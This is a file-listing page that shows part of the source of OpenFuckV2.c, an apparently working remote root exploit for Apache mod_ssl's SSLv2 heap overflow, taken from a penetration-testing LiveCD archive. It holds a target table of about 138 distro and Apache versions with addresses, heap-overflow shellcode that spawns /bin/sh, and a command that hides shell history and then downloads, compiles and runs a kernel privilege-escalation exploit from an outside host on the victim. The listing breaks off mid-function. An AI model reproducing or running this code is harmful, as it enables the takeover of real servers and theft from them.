home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / OpenFuckV2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  32KB  |  1,296 lines

  1. /*
  2.  * OF version r00t VERY PRIV8 spabam
  3.  * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
  4.  * objdump -R /usr/sbin/httpd|grep free to get more targets
  5.  * #hackarena irc.brasnet.org
  6.  */
  7.  
  8. #include <arpa/inet.h>
  9. #include <netinet/in.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netdb.h>
  13. #include <errno.h>
  14. #include <string.h>
  15. #include <stdio.h>
  16. #include <unistd.h>
  17.  
  18. #include <openssl/ssl.h>
  19. #include <openssl/rsa.h>
  20. #include <openssl/x509.h>
  21. #include <openssl/evp.h>
  22.  
  23. /* update this if you add architectures */
  24. #define MAX_ARCH 138
  25.  
  26. struct archs {
  27.     char* desc;
  28.     int func_addr;    /* objdump -R /usr/sbin/httpd | grep free */
  29. } architectures[] = {
  30.  
  31.         {
  32.                 "Caldera OpenLinux (apache-1.3.26)",
  33.                 0x080920e0
  34.         },
  35.     {
  36.         "Cobalt Sun 6.0 (apache-1.3.12)",
  37.         0x8120f0c
  38.     },
  39.     {
  40.         "Cobalt Sun 6.0 (apache-1.3.20)",
  41.         0x811dcb8
  42.     },
  43.     {
  44.         "Cobalt Sun x (apache-1.3.26)",
  45.         0x8123ac3
  46.     },
  47.     {
  48.         "Cobalt Sun x Fixed2 (apache-1.3.26)",
  49.         0x81233c3
  50.     },
  51.     {
  52.         "Conectiva 4 (apache-1.3.6)",
  53.         0x08075398
  54.     },
  55.     {
  56.         "Conectiva 4.1 (apache-1.3.9)",
  57.         0x0808f2fe
  58.     },
  59.     {
  60.         "Conectiva 6 (apache-1.3.14)",
  61.         0x0809222c
  62.     },
  63.     {
  64.         "Conectiva 7 (apache-1.3.12)",
  65.         0x0808f874
  66.     },
  67.     {
  68.         "Conectiva 7 (apache-1.3.19)",
  69.         0x08088aa0
  70.     },
  71.     {
  72.         "Conectiva 7/8 (apache-1.3.26)",
  73.         0x0808e628
  74.     },
  75.     {
  76.         "Conectiva 8 (apache-1.3.22)",
  77.         0x0808b2d0
  78.     },
  79.     {
  80.         "Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)",
  81.         0x08095264
  82.     },
  83.     {
  84.         "Debian GNU Linux (apache_1.3.19-1)",
  85.         0x080966fc
  86.     },
  87.     {
  88.         "Debian GNU Linux (apache_1.3.22-2)",
  89.         0x08096aac
  90.     },
  91.     {
  92.         "Debian GNU Linux (apache-1.3.22-2.1)",
  93.         0x08083828
  94.     },
  95.     {
  96.         "Debian GNU Linux (apache-1.3.22-5)",
  97.         0x08083728
  98.     },
  99.     {
  100.         "Debian GNU Linux (apache_1.3.23-1)",
  101.         0x08085de8
  102.     },
  103.     {
  104.         "Debian GNU Linux (apache_1.3.24-2.1)",
  105.         0x08087d08
  106.     },
  107.         {       "Debian Linux GNU Linux 2 (apache_1.3.24-2.1)",
  108.             0x080873ac
  109.     },
  110.     {
  111.         "Debian GNU Linux (apache_1.3.24-3)",
  112.         0x08087d68
  113.     },
  114.     {
  115.         "Debian GNU Linux (apache-1.3.26-1)",
  116.         0x0080863c4
  117.     },
  118.     {
  119.         "Debian GNU Linux 3.0 Woody (apache-1.3.26-1)",
  120.         0x080863cc
  121.     },
  122.     {       "Debian GNU Linux (apache-1.3.27)",
  123.             0x0080866a3
  124.     },
  125.  
  126.  
  127. { "FreeBSD (apache-1.3.9)", 0xbfbfde00 },
  128. { "FreeBSD (apache-1.3.11)", 0x080a2ea8 },
  129. { "FreeBSD (apache-1.3.12.1.40)", 0x080a7f58 },
  130. { "FreeBSD (apache-1.3.12.1.40)", 0x080a0ec0 },
  131. { "FreeBSD (apache-1.3.12.1.40)", 0x080a7e7c },
  132. { "FreeBSD (apache-1.3.12.1.40_1)", 0x080a7f18 },
  133. { "FreeBSD (apache-1.3.12)", 0x0809bd7c },
  134. { "FreeBSD (apache-1.3.14)", 0xbfbfdc00 },
  135. { "FreeBSD (apache-1.3.14)", 0x080ab68c },
  136. { "FreeBSD (apache-1.3.14)", 0x0808c76c },
  137. { "FreeBSD (apache-1.3.14)", 0x080a3fc8 },
  138. { "FreeBSD (apache-1.3.14)", 0x080ab6d8 },
  139. { "FreeBSD (apache-1.3.17_1)", 0x0808820c },
  140. { "FreeBSD (apache-1.3.19)", 0xbfbfdc00 },
  141. { "FreeBSD (apache-1.3.19_1)", 0x0808c96c },
  142. { "FreeBSD (apache-1.3.20)", 0x0808cb70 },
  143. { "FreeBSD (apache-1.3.20)", 0xbfbfc000 },
  144. { "FreeBSD (apache-1.3.20+2.8.4)", 0x0808faf8 },
  145. { "FreeBSD (apache-1.3.20_1)", 0x0808dfb4 },
  146. { "FreeBSD (apache-1.3.22)", 0xbfbfc000 },
  147. { "FreeBSD (apache-1.3.22_7)", 0x0808d110 },
  148. { "FreeBSD (apache_fp-1.3.23)", 0x0807c5f8 },
  149. { "FreeBSD (apache-1.3.24_7)", 0x0808f8b0 },
  150. { "FreeBSD (apache-1.3.24+2.8.8)", 0x080927f8 },
  151. { "FreeBSD 4.6.2-Release-p6 (apache-1.3.26)", 0x080c432c },
  152. { "FreeBSD 4.6-Realease (apache-1.3.26)", 0x0808fdec },
  153. { "FreeBSD (apache-1.3.27)", 0x080902e4 },
  154.  
  155.  
  156.     {
  157.         "Gentoo Linux (apache-1.3.24-r2)",
  158.         0x08086c34
  159.     },
  160.     {
  161.         "Linux Generic (apache-1.3.14)",
  162.         0xbffff500
  163.     },
  164.     {
  165.         "Mandrake Linux X.x (apache-1.3.22-10.1mdk)",
  166.         0x080808ab
  167.     },
  168.     {
  169.         "Mandrake Linux 7.1 (apache-1.3.14-2)",
  170.         0x0809f6c4
  171.     },
  172.     {
  173.         "Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)",
  174.         0x0809d233
  175.     },
  176.     {
  177.         "Mandrake Linux 7.2 (apache-1.3.14-2mdk)",
  178.         0x0809f6ef
  179.     },
  180.     {
  181.         "Mandrake Linux 7.2 (apache-1.3.14) 2",
  182.         0x0809d6c4
  183.     },
  184.     {
  185.         "Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)",
  186.         0x0809ccde
  187.     },
  188.     {
  189.         "Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)",
  190.         0x0809ce14
  191.     },
  192.     {
  193.         "Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)",
  194.         0x0809d262
  195.     },
  196.     {
  197.         "Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)",
  198.         0x08083545
  199.     },
  200.     {
  201.         "Mandrake Linux 8.0 (apache-1.3.19-3)",
  202.         0x0809ea98
  203.     },
  204.     {
  205.         "Mandrake Linux 8.1 (apache-1.3.20-3)",
  206.         0x0809e97c
  207.     },
  208.     {
  209.         "Mandrake Linux 8.2 (apache-1.3.23-4)",
  210.         0x08086580
  211.     },
  212.     {       "Mandrake Linux 8.2 #2 (apache-1.3.23-4)",
  213.             0x08086484
  214.     },
  215.     {       "Mandrake Linux 8.2 (apache-1.3.24)",
  216.             0x08086665
  217.     },
  218.  
  219.     {       "Mandrake Linux 9 (apache-1.3.26)",
  220.             0x0808b864
  221.     },
  222.     {
  223.         "RedHat Linux ?.? GENERIC (apache-1.3.12-1)",
  224.         0x0808c0f4
  225.     },
  226.     {
  227.         "RedHat Linux TEST1 (apache-1.3.12-1)",
  228.         0x0808c0f4
  229.     },
  230.     {
  231.         "RedHat Linux TEST2 (apache-1.3.12-1)",
  232.         0x0808c0f4
  233.     },
  234.     {
  235.         "RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)",
  236.         0x080d2c35
  237.     },
  238.     {
  239.         "RedHat Linux 4.2 (apache-1.1.3-3)",
  240.         0x08065bae
  241.     },
  242.     {
  243.         "RedHat Linux 5.0 (apache-1.2.4-4)",
  244.         0x0808c82c
  245.     },
  246.     {
  247.         "RedHat Linux 5.1-Update (apache-1.2.6)",
  248.         0x08092a45
  249.     },
  250.     {
  251.         "RedHat Linux 5.1 (apache-1.2.6-4)",
  252.         0x08092c2d
  253.     },
  254.     {
  255.         "RedHat Linux 5.2 (apache-1.3.3-1)",
  256.         0x0806f049
  257.     },
  258.     {
  259.         "RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)",
  260.         0x0808e4d8
  261.     },
  262.     {
  263.         "RedHat Linux 6.0 (apache-1.3.6-7)",
  264.         0x080707ec
  265.     },
  266.     {
  267.         "RedHat Linux 6.0 (apache-1.3.6-7)",
  268.         0x080707f9
  269.     },
  270.     {
  271.         "RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)",
  272.         0x0808fd52
  273.     },
  274.     {
  275.         "RedHat Linux 6.0 Update (apache-1.3.24)",
  276.         0x80acd58
  277.     },
  278.     {
  279.         "RedHat Linux 6.1 (apache-1.3.9-4)1",
  280.         0x0808ccc4
  281.     },
  282.     {
  283.         "RedHat Linux 6.1 (apache-1.3.9-4)2",
  284.         0x0808ccdc
  285.     },
  286.     {
  287.         "RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)",
  288.         0x0808fd5d
  289.     },
  290.     {
  291.         "RedHat Linux 6.1-fp2000 (apache-1.3.26)",
  292.         0x082e6fcd
  293.     },
  294.     {
  295.         "RedHat Linux 6.2 (apache-1.3.12-2)1",
  296.         0x0808f689
  297.     },
  298.     {
  299.         "RedHat Linux 6.2 (apache-1.3.12-2)2",
  300.         0x0808f614
  301.     },
  302.     {
  303.         "RedHat Linux 6.2 mod(apache-1.3.12-2)3",
  304.         0xbffff94c
  305.     },
  306.  
  307.     {
  308.         "RedHat Linux 6.2 update (apache-1.3.22-5.6)1",
  309.         0x0808f9ec
  310.     },
  311.     {
  312.         "RedHat Linux 6.2-Update (apache-1.3.22-5.6)2",
  313.         0x0808f9d4
  314.     },
  315.     {
  316.         "Redhat Linux 7.x (apache-1.3.22)",
  317.         0x0808400c
  318.     },
  319.     {
  320.         "RedHat Linux 7.x (apache-1.3.26-1)",
  321.         0x080873bc
  322.     },
  323.     {       "RedHat Linux 7.x (apache-1.3.27)",
  324.             0x08087221
  325.     },
  326.     {
  327.         "RedHat Linux 7.0 (apache-1.3.12-25)1",
  328.         0x0809251c
  329.     },
  330.     {
  331.         "RedHat Linux 7.0 (apache-1.3.12-25)2",
  332.         0x0809252d
  333.     },
  334.     {
  335.         "RedHat Linux 7.0 (apache-1.3.14-2)",
  336.         0x08092b98
  337.     },
  338.         {
  339.         "RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)",
  340.         0x08084358
  341.     },
  342.     {
  343.         "RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)",
  344.         0x0808438c
  345.     },
  346.     {
  347.         "RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)",
  348.         0x08086e41
  349.     },
  350.     {
  351.         "RedHat Linux 7.1 (apache-1.3.19-5)1",
  352.         0x0809af8c
  353.     },
  354.     {
  355.         "RedHat Linux 7.1 (apache-1.3.19-5)2",
  356.         0x0809afd9
  357.     },
  358.     {
  359.         "RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)",
  360.         0x0808438c
  361.     },
  362.     {
  363.         "RedHat Linux 7.1-Update (1.3.22-5.7.1)",
  364.         0x08084389
  365.     },
  366.         {
  367.         "RedHat Linux 7.1 (apache-1.3.22-src)",
  368.             0x0816021c
  369.         },
  370.         {
  371.         "RedHat Linux 7.1-Update (1.3.27-1.7.1)",
  372.         0x08086ec89
  373.     },
  374.     {
  375.         "RedHat Linux 7.2 (apache-1.3.20-16)1",
  376.         0x080994e5
  377.     },
  378.     {
  379.         "RedHat Linux 7.2 (apache-1.3.20-16)2",
  380.         0x080994d4
  381.     },
  382.     {
  383.         "RedHat Linux 7.2-Update (apache-1.3.22-6)",
  384.         0x08084045
  385.     },
  386.     {
  387.         "RedHat Linux 7.2 (apache-1.3.24)",
  388.         0x80b0938
  389.     },
  390.     {
  391.         "RedHat Linux 7.2 (apache-1.3.26)",
  392.         0x08161c16
  393.     },
  394.     {
  395.         "RedHat Linux 7.2 (apache-1.3.26-snc)",
  396.         0x8161c14
  397.     },
  398.     {
  399.  
  400.         "Redhat Linux 7.2 (apache-1.3.26 w/PHP)1",
  401.         0x08269950
  402.     },
  403.     {
  404.         "Redhat Linux 7.2 (apache-1.3.26 w/PHP)2",
  405.         0x08269988
  406.     },
  407.     {
  408.         "RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)",
  409.         0x08086af9
  410.     },
  411.     {
  412.         "RedHat Linux 7.3 (apache-1.3.23-11)1",
  413.         0x0808528c
  414.     },
  415.     {
  416.         "RedHat Linux 7.3 (apache-1.3.23-11)2",
  417.         0x0808525f
  418.     },
  419.     {
  420.         "RedHat Linux 7.3 (apache-1.3.27)",
  421.         0x080862e4
  422.     },
  423.     {       "RedHat Linux 8.0 (apache-1.3.27)",
  424.             0x08084c1c
  425.         },
  426.         {       "RedHat Linux 8.0-second (apache-1.3.27)",
  427.                 0x0808151e
  428.         },
  429.     {       "RedHat Linux 8.0 (apache-2.0.40)",
  430.                 0x08092fa4
  431.         },
  432.     {
  433.         "Slackware Linux 4.0 (apache-1.3.6)",
  434.         0x08088130
  435.     },
  436.     {
  437.         "Slackware Linux 7.0 (apache-1.3.9)",
  438.         0x080a7fc0
  439.     },
  440.     {
  441.         "Slackware Linux 7.0 (apache-1.3.26)",
  442.         0x083d37fc
  443.     },
  444.         {       "Slackware 7.0  (apache-1.3.26)2",
  445.         0x083d2232
  446.     },
  447.     {
  448.         "Slackware Linux 7.1 (apache-1.3.12)",
  449.         0x080a86a4
  450.     },
  451.     {
  452.         "Slackware Linux 8.0 (apache-1.3.20)",
  453.         0x080ae67c
  454.     },
  455.     {
  456.         "Slackware Linux 8.1 (apache-1.3.24)",
  457.         0x080b0c60
  458.     },
  459.     {
  460.         "Slackware Linux 8.1 (apache-1.3.26)",
  461.         0x080b2100
  462.     },
  463.  
  464.     {
  465.         "Slackware Linux 8.1-stable (apache-1.3.26)",
  466.         0x080b0c60
  467.     },
  468.     {       "Slackware Linux (apache-1.3.27)",
  469.             0x080b1a3a
  470.     },
  471.     {
  472.         "SuSE Linux 7.0 (apache-1.3.12)",
  473.         0x0809f54c
  474.     },
  475.     {
  476.         "SuSE Linux 7.1 (apache-1.3.17)",
  477.         0x08099984
  478.     },
  479.     {
  480.         "SuSE Linux 7.2 (apache-1.3.19)",
  481.         0x08099ec8
  482.     },
  483.     {
  484.         "SuSE Linux 7.3 (apache-1.3.20)",
  485.         0x08099da8
  486.     },
  487.     {
  488.         "SuSE Linux 8.0 (apache-1.3.23)",
  489.         0x08086168
  490.     },
  491.     {
  492.         "SUSE Linux 8.0 (apache-1.3.23-120)",
  493.         0x080861c8
  494.     },
  495.     {
  496.         "SuSE Linux 8.0 (apache-1.3.23-137)",
  497.         0x080861c8
  498.     },
  499. /* this one unchecked cause require differend shellcode */
  500.     {
  501.         "Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)",
  502.         0xfd42630
  503.     },
  504.  
  505. };
  506.  
  507. extern int errno;
  508.  
  509. int cipher;
  510. int ciphers;
  511.  
  512. /* the offset of the local port from be beginning of the overwrite next chunk buffer */
  513. #define FINDSCKPORTOFS     208 + 12 + 46
  514.  
  515. unsigned char overwrite_session_id_length[] =
  516.     "AAAA"                                /* int master key length; */
  517.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"    /* unsigned char master key[SSL MAX MASTER KEY LENGTH];    */
  518.     "\x70\x00\x00\x00";                    /* unsigned int session id length; */
  519.  
  520. unsigned char overwrite_next_chunk[] =
  521.     "AAAA"                                /* int master key length; */
  522.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"    /* unsigned char master key[SSL MAX MASTER KEY LENGTH];    */
  523.     "AAAA"                                /* unsigned int session id length; */
  524.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"    /* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */
  525.     "AAAA"                                /* unsigned int sid ctx length; */
  526.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"    /* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */
  527.     "AAAA"                                /* int not resumable; */
  528.     "\x00\x00\x00\x00"                    /* struct sess cert st *sess cert; */
  529.     "\x00\x00\x00\x00"                    /* X509 *peer; */
  530.     "AAAA"                                /* long verify result; */
  531.     "\x01\x00\x00\x00"                    /* int references; */
  532.     "AAAA"                                /* int timeout; */
  533.     "AAAA"                                /* int time */
  534.     "AAAA"                                /* int compress meth; */
  535.     "\x00\x00\x00\x00"                    /* SSL CIPHER *cipher; */
  536.     "AAAA"                                /* unsigned long cipher id; */
  537.     "\x00\x00\x00\x00"                    /* STACK OF(SSL CIPHER) *ciphers; */
  538.     "\x00\x00\x00\x00\x00\x00\x00\x00"    /* CRYPTO EX DATA ex data; */
  539.     "AAAAAAAA"                            /* struct ssl session st *prev,*next; */
  540.  
  541.     "\x00\x00\x00\x00"                    /* Size of previous chunk */
  542.     "\x11\x00\x00\x00"                    /* Size of chunk, in bytes */
  543.     "fdfd"                                /* Forward and back pointers */
  544.     "bkbk"
  545.     "\x10\x00\x00\x00"                    /* Size of previous chunk */
  546.     "\x10\x00\x00\x00"                    /* Size of chunk, PREV INUSE is set */
  547.  
  548. /* shellcode start */
  549.     "\xeb\x0a\x90\x90"    /* jump 10 bytes ahead, land at shellcode */
  550.     "\x90\x90\x90\x90"
  551.     "\x90\x90\x90\x90"    /* this is overwritten with FD by the unlink macro */
  552.  
  553. /* 72 bytes findsckcode by LSD-pl */
  554.     "\x31\xdb"             /* xorl    %ebx,%ebx              */
  555.     "\x89\xe7"             /* movl    %esp,%edi              */
  556.     "\x8d\x77\x10"         /* leal    0x10(%edi),%esi        */
  557.     "\x89\x77\x04"         /* movl    %esi,0x4(%edi)         */
  558.     "\x8d\x4f\x20"         /* leal    0x20(%edi),%ecx        */
  559.     "\x89\x4f\x08"         /* movl    %ecx,0x8(%edi)         */
  560.     "\xb3\x10"             /* movb    $0x10,%bl              */
  561.     "\x89\x19"             /* movl    %ebx,(%ecx)            */
  562.     "\x31\xc9"             /* xorl    %ecx,%ecx              */
  563.     "\xb1\xff"             /* movb    $0xff,%cl              */
  564.     "\x89\x0f"             /* movl    %ecx,(%edi)            */
  565.     "\x51"                 /* pushl   %ecx                   */
  566.     "\x31\xc0"             /* xorl    %eax,%eax              */
  567.     "\xb0\x66"             /* movb    $0x66,%al              */
  568.     "\xb3\x07"             /* movb    $0x07,%bl              */
  569.     "\x89\xf9"             /* movl    %edi,%ecx              */
  570.     "\xcd\x80"             /* int     $0x80                  */
  571.     "\x59"                 /* popl    %ecx                   */
  572.     "\x31\xdb"             /* xorl    %ebx,%ebx              */
  573.     "\x39\xd8"             /* cmpl    %ebx,%eax              */
  574.     "\x75\x0a"             /* jne     <findsckcode+54>       */
  575.     "\x66\xb8\x12\x34"     /* movw    $0x1234,%bx            */
  576.     "\x66\x39\x46\x02"     /* cmpw    %bx,0x2(%esi)          */
  577.     "\x74\x02"             /* je      <findsckcode+56>       */
  578.     "\xe2\xe0"             /* loop    <findsckcode+24>       */
  579.     "\x89\xcb"             /* movl    %ecx,%ebx              */
  580.     "\x31\xc9"             /* xorl    %ecx,%ecx              */
  581.     "\xb1\x03"             /* movb    $0x03,%cl              */
  582.     "\x31\xc0"             /* xorl    %eax,%eax              */
  583.     "\xb0\x3f"             /* movb    $0x3f,%al              */
  584.     "\x49"                 /* decl    %ecx                   */
  585.     "\xcd\x80"             /* int     $0x80                  */
  586.     "\x41"                 /* incl    %ecx                   */
  587.     "\xe2\xf6"             /* loop    <findsckcode+62>       */
  588.  
  589. /* 10 byte setresuid(0,0,0); by core */
  590.      "\x31\xc9"       /* xor    %ecx,%ecx */
  591.      "\xf7\xe1"       /* mul    %ecx,%eax */
  592.      "\x51"           /* push   %ecx */
  593.      "\x5b"           /* pop    %ebx */
  594.      "\xb0\xa4"       /* mov    $0xa4,%al */
  595.      "\xcd\x80"       /* int    $0x80 */
  596.  
  597.     
  598. /* bigger shellcode added by spabam */
  599.  
  600. /* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69"
  601.         "\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80"
  602. */
  603.  
  604.  
  605. /* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
  606.     "\x31\xc0"             /* xorl    %eax,%eax              */
  607.     "\x50"                 /* pushl   %eax                   */
  608.     "\x68""//sh"           /* pushl   $0x68732f2f            */
  609.     "\x68""/bin"           /* pushl   $0x6e69622f            */
  610.     "\x89\xe3"             /* movl    %esp,%ebx              */
  611.     "\x50"                 /* pushl   %eax                   */
  612.     "\x53"                 /* pushl   %ebx                   */
  613.     "\x89\xe1"             /* movl    %esp,%ecx              */
  614.     "\x99"                 /* cdql                           */
  615.     "\xb0\x0b"             /* movb    $0x0b,%al              */
  616.     "\xcd\x80";             /* int     $0x80                  */
  617.  
  618. /* read and write buffer*/
  619. #define BUFSIZE 16384
  620.  
  621. /* hardcoded protocol stuff */
  622. #define CHALLENGE_LENGTH 16
  623. #define RC4_KEY_LENGTH 16    /* 128 bits */
  624. #define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
  625.  
  626. /* straight from the openssl source */
  627. #define n2s(c,s)    ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))    )),c+=2)
  628. #define s2n(s,c)    ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)    )&0xff)),c+=2)
  629.  
  630. /* we keep all SSL2 state in this structure */
  631. typedef struct {
  632.     int sock;
  633.  
  634.     /* client stuff */
  635.     unsigned char challenge[CHALLENGE_LENGTH];
  636.     unsigned char master_key[RC4_KEY_LENGTH];
  637.     unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
  638.  
  639.     /* connection id - returned by the server */
  640.     int conn_id_length;
  641.     unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
  642.  
  643.     /* server certificate */
  644.     X509 *x509;
  645.  
  646.     /* session keys */
  647.     unsigned char* read_key;
  648.     unsigned char* write_key;
  649.     RC4_KEY* rc4_read_key;
  650.     RC4_KEY* rc4_write_key;
  651.  
  652.     /* sequence numbers, used for MAC calculation */
  653.     int read_seq;
  654.     int write_seq;
  655.  
  656.     /* set to 1 when the SSL2 handshake is complete */
  657.     int encrypted;
  658. } ssl_conn;
  659.  
  660. #define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
  661. #define COMMAND2 "unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
  662.  
  663. long getip(char *hostname) {
  664.     struct hostent *he;
  665.     long ipaddr;
  666.     
  667.     if ((ipaddr = inet_addr(hostname)) < 0) {
  668.         if ((he = gethostbyname(hostname)) == NULL) {
  669.             perror("gethostbyname()");
  670.             exit(-1);
  671.         }
  672.         memcpy(&ipaddr, he->h_addr, he->h_length);
  673.     }    
  674.     return ipaddr;
  675. }
  676.  
  677. /* mixter's code w/enhancements by core */
  678.  
  679. int sh(int sockfd) {
  680.    char snd[1024], rcv[1024];
  681.    fd_set rset;
  682.    int maxfd, n;
  683.  
  684.    /* Priming commands */
  685.    strcpy(snd, COMMAND1 "\n");
  686.    write(sockfd, snd, strlen(snd));
  687.  
  688.    strcpy(snd, COMMAND2 "\n");
  689.    write(sockfd, snd, strlen(snd));
  690.  
  691.    /* Main command loop */
  692.    for (;;) {
  693.       FD_SET(fileno(stdin), &rset);
  694.       FD_SET(sockfd, &rset);
  695.  
  696.       maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
  697.       select(maxfd, &rset, NULL, NULL, NULL);
  698.  
  699.       if (FD_ISSET(fileno(stdin), &rset)) {
  700.      bzero(snd, sizeof(snd));
  701.      fgets(snd, sizeof(snd)-2, stdin);
  702.      write(sockfd, snd, strlen(snd));
  703.       }
  704.  
  705.       if (FD_ISSET(sockfd, &rset)) {
  706.      bzero(rcv, sizeof(rcv));
  707.  
  708.      if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
  709.         printf("Good Bye!\n");
  710.         return 0;
  711.      }
  712.  
  713.      if (n < 0) {
  714.         perror("read");
  715.         return 1;
  716.      }
  717.  
  718.      fputs(rcv, stdout);
  719.      fflush(stdout); /* keeps output nice */
  720.       }
  721.    } /* for(;;) */
  722. }
  723.  
  724. /* Returns the local port of a connected socket */
  725. int get_local_port(int sock)
  726. {
  727.     struct sockaddr_in s_in;
  728.     unsigned int namelen = sizeof(s_in);
  729.  
  730.     if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
  731.         printf("Can't get local port: %s\n", strerror(errno));
  732.         exit(1);
  733.     }
  734.  
  735.     return s_in.sin_port;
  736. }
  737.  
  738. /* Connect to a host */
  739. int connect_host(char* host, int port)
  740. {
  741.     struct sockaddr_in s_in;
  742.     int sock;
  743.  
  744.     s_in.sin_family = AF_INET;
  745.     s_in.sin_addr.s_addr = getip(host);
  746.     s_in.sin_port = htons(port);
  747.  
  748.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
  749.         printf("Could not create a socket\n");
  750.         exit(1);
  751.     }
  752.  
  753.     if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
  754.         printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
  755.         exit(1);
  756.     }
  757.  
  758.     return sock;
  759. }
  760.  
  761. /* Create a new ssl conn structure and connect to a host */
  762. ssl_conn* ssl_connect_host(char* host, int port)
  763. {
  764.     ssl_conn* ssl;
  765.  
  766.     if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
  767.         printf("Can't allocate memory\n");
  768.         exit(1);
  769.     }
  770.  
  771.     /* Initialize some values */
  772.     ssl->encrypted = 0;
  773.     ssl->write_seq = 0;
  774.     ssl->read_seq = 0;
  775.  
  776.     ssl->sock = connect_host(host, port);
  777.  
  778.     return ssl;
  779. }
  780.  
  781. /* global buffer used by the ssl result() */
  782. char res_buf[30];
  783.  
  784. /* converts an SSL error code to a string */
  785. char* ssl_error(int code) {
  786.     switch (code) {
  787.         case 0x00:    return "SSL2 PE UNDEFINED ERROR (0x00)";
  788.         case 0x01:    return "SSL2 PE NO CIPHER (0x01)";
  789.         case 0x02:    return "SSL2 PE NO CERTIFICATE (0x02)";
  790.         case 0x04:    return "SSL2 PE BAD CERTIFICATE (0x03)";
  791.         case 0x06:    return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
  792.     default:
  793.         sprintf(res_buf, "%02x", code);
  794.         return res_buf;
  795.     }
  796. }
  797.  
  798. /* read len bytes from a socket. boring. */
  799. int read_data(int sock, unsigned char* buf, int len)
  800. {
  801.     int l;
  802.     int to_read = len;
  803.  
  804.     do {
  805.         if ((l = read(sock, buf, to_read)) < 0) {
  806.             printf("Error in read: %s\n", strerror(errno));
  807.             exit(1);
  808.         }
  809.         to_read -= len;
  810.     } while (to_read > 0);
  811.  
  812.     return len;
  813. }
  814.  
  815. /* reads an SSL packet and decrypts it if necessery */
  816. int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
  817. {
  818.     int rec_len, padding;
  819.  
  820.     read_data(ssl->sock, buf, 2);
  821.  
  822.     if ((buf[0] & 0x80) == 0) {
  823.         /* three byte header */
  824.         rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
  825.         read_data(ssl->sock, &buf[2], 1);
  826.         padding = (int)buf[2];
  827.     }
  828.     else {
  829.         /* two byte header */
  830.         rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
  831.         padding = 0;
  832.     }
  833.  
  834.     if ((rec_len <= 0) || (rec_len > buf_size)) {
  835.         printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len); 
  836.         exit(1);
  837.     }
  838.  
  839.     read_data(ssl->sock, buf, rec_len);
  840.  
  841.     if (ssl->encrypted) {
  842.         if (MD5_DIGEST_LENGTH + padding >= rec_len) {
  843.             if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
  844.                 /* the server didn't switch to encryption due to an error */
  845.                 return 0;
  846.             }
  847.             else {
  848.                 printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len);
  849.                 exit(1);
  850.             }
  851.         }
  852.  
  853.         /* decrypt the encrypted part of the packet */
  854.         RC4(ssl->rc4_read_key, rec_len, buf, buf);
  855.  
  856.         /* move the decrypted message in the beginning of the buffer */
  857.         rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
  858.         memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
  859.     }
  860.  
  861.     if (buf[0] == SSL2_MT_ERROR) {
  862.         if (rec_len != 3) {
  863.             printf("Malformed server error message\n");
  864.             exit(1);
  865.         }
  866.         else {
  867.             return 0;
  868.         }
  869.     }
  870.  
  871.     return rec_len;
  872. }
  873.  
  874. /* send an ssl packet, encrypting it if ssl->encrypted is set */
  875. void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
  876. {
  877.     unsigned char buf[BUFSIZE];
